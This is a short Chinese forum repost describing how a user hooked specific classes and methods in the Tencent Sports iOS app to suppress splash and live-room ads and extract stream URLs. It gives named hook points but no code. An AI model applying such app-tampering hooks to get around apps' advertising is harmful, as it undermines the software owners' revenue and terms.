这个方法确实奏效。于是分享给大家。不做抄袭者,感谢作者。原文地址:https://bbs.feng.com/read-htm-tid-10644547.html
Posts: 1
Participants: 1
@kobe1941 wrote:
可以跳过闪屏+直播间广告,如果是免费的比赛,或者你是会员的话,可以提取直播间的超清直播URL,该URL可以复制到手机Safari或者电脑端播放。
1.hook TADSplashManager 的 splashItemForItem 函数返回nil,可以去掉闪屏广告;
2.hook TADVideoViewController 的 viewDidAppear函数,在其中调用其 skipAdPlay 函数可以跳过直播间90秒广告。
并没有实现非会员看VIP比赛的功能,仅仅当做一次尝试吧。详细记录我放在博客上了
http://www.zoomfeng.com/blog/tencent-sports.html
欢迎交流学习~
Posts: 2
Participants: 2